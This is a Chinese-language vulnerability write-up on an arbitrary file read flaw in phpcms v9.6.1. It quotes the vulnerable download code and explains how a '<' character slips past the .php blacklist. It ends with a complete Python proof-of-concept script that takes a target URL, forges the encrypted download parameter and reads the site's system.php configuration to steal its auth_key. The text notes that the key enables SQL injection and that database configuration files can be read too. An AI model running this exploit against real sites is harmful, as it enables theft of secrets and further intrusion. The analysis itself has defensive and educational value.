phpcmsv9.6.1任意文件读取漏洞

漏洞危害

通过利用该漏洞可以读取配置文件,获取authkey,可以进行高危恶意操.

漏洞触发点

\phpcms\modules\content\down.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);//解密由get方式得到的$a_k
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);//导致漏洞触发的点,这里<>和制为空导致了漏洞产生;
file_down($fileurl, $filename);
}
}
}

此段代码的主要意思就是用get方式得到一个$a_k,然后经过sys_auth解密,再把解密后的a_k解析成php变量,然后把这些变量中的\$s和\$f拼接成\$fileurl文件路径,然后再调用file_down去读文件。


不过在进入file_down函数的之前,有一段正则检查

1
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));

这个正则写的比较死,限制不能读取php等文件。

不过在这个正则后面几行进入file_down之前,调用了一段神奇的替换函数

1
$fileurl = str_replace(array('<','>'), '',$fileurl);//导致漏洞触发的点,这里<>和制为空导致了漏洞产生;

这里把<和>替换为空,这样导致漏洞产生。如果我们的\$s是caches/configs/system.p,$f是h<p 那么二者一拼接\$fileurl的值就是caches/configs/system.ph<p,这个时候没有触发黑名单的检测,然后进入替换函数,<被替换成空,那么\$fileurl 变成caches/configs/system.php,那么就能读任意的php文件了。我们可以读auth_key或者数据库文件等等,拿到auth_key可以用来sql注入等等,危害巨大


但是在进行pare_str的时候之前会有有个安全过滤函数safe_replace,这个函数会把<置为空,那我们怎么引入<呢。这个时候,本次漏洞的又一个关键点来了,parse_str会自动进行URL解码,所以我只要把<进行url进行编码就行了。


那么这个a_k怎么来的呢,看这里用了sys_auth函数来解密,所以我们要找到sys_auth函数加密的地方,这样我们就能控制我们的输入了

找到其中一处用到sys_auth函数加密的地方,这里的src最后先get传送给set_cooke,然后set_cookie里面再调用sys_auth来加密src,所以这里的src就是我们的控制点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
echo $json_str;
param::set_cookie('att_json',$json_str);
return true;

##利用代码

-*- coding:utf-8 -*-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import re
import hashlib
import math
import time
import base64
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '').replace('+', '-').replace('/', '_')
def poc(url):
md5 = lambda k:hashlib.md5(k).hexdigest()
getauth = lambda c,k:get_authcode(get_authcode(c,md5('login'+md5(k+'8.8.8.8'))),k)
headers = {"Content-Type":"application/x-www-form-urlencoded",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"X-Forwarded-For":"8.8.8.8",
}
s = requests.get(url=url+'/index.php?m=wap&c=index&a=init&siteid=1',headers=headers)
cookie_pre = [key for key in s.cookies.keys() if 'siteid' in key][0][:-7]
userid = s.cookies[cookie_pre+'_siteid']
s = requests.post(url=url+'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&filename=test.jpg&src=%26i%3D3%26d%3D1%26t%3D9999999999%26catid%3D1%26ip%3D8.8.8.8%26m%3D3%26modelid%3D3%26s%3Dcaches%2fconfigs%2fsystem.p%26f%3Dh%25253Cp%26xxxx%3D',
data={'userid_flash': userid},headers=headers)
att_json = s.cookies[cookie_pre+'_att_json']
s = requests.get(url=url+'/index.php?m=content&c=down&a=init&a_k='+att_json,headers=headers)
pattern = '<a.*?href="(.*?)".*?>.*?</a>'
downlink = re.search(pattern, s.content).group(1)
s = requests.get(url+'/index.php'+downlink,headers=headers)
print s.content
if __name__ == '__main__':
url=raw_input('input url : ')
poc(url)

读取phpcms的demo站的auth_key文件成功


当然不止auth_key,还可以读数据库配置文件,等等之类的。